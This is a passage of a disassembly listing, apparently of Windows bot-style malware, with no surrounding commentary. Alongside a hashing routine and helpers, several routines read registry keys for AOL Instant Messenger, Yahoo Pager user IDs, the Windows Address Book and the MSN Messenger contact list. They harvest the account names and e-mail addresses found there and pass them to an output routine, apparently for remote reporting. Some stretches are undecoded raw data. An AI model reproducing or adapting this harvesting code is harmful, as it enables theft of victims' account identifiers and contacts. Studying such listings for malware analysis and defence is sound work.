		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D116
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0D43D89C0h
		dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 1A59E890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 3D4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
		dd 4CA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 247A25Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 0A216E890h
		dd 0C0850248h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004446h, 20244489h, 1C18EAE8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
		dd 24FA35Fh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 91E85210h, 90024CA1h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 444D20h, 0E8694F8Dh,	0FFFCB62Dh, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
		dd 29E89052h, 8B024CA1h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
		dd 10C683FFh, 79D4FE81h, 8C0F0044h, 0FFFFFD2Ah,	17642D8Bh
		dd 448D0051h, 68501C24h, 20019h, 6068006Ah, 6800447Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B546800h
		dd 0F08B0044h, 8A0C6851h, 90560044h, 1C1772E8h,	4E5C6800h
		dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h,	8D577574h
		dd 802494h, 646A0000h, 0AC07E852h, 83907780h, 0C0850CC4h
		dd 448D5374h, 0F4687C24h, 50004489h, 1C9EE890h,	0C4837781h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89D86851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h
		dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
		dd 24448B04h, 0D9E8501Ch, 90024C9Fh, 1C244C8Dh,	182444C7h
		dd 80h,	196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h,	4489A8h
		dd 6852F08Bh, 448998h, 64E89056h, 68001C16h, 444E5Ch, 71E89056h
		dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44897C68h
		dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h,	16F4249Ch
		dd 548D0000h, 68527C24h, 448960h, 0E8694B8Dh, 0FFFCB3EDh
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h
		dd 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h,	90560A74h
		dd 7F60FAE8h, 4C48377h,	1C24548Bh, 0D1E89052h, 8D024C9Eh
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
		dd 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 29301A3h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_4488F8
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2900000h
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488EC
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 29301A3h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 29301A3h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F30
		push	eax
		call	near ptr 28E0000h
		nop
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 2900000h
		nop
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 2850000h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2720000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		nop
		call	near ptr 283061Dh
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		call	near ptr 2720620h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		nop
		call	near ptr 27207C4h
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 29301A3h
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, off_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A38
		push	ecx
		call	ebx ; sub_5F76F7
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A2C
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		push	64h
		call	near ptr 2821DE2h
		nop
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2900000h


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B7B+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
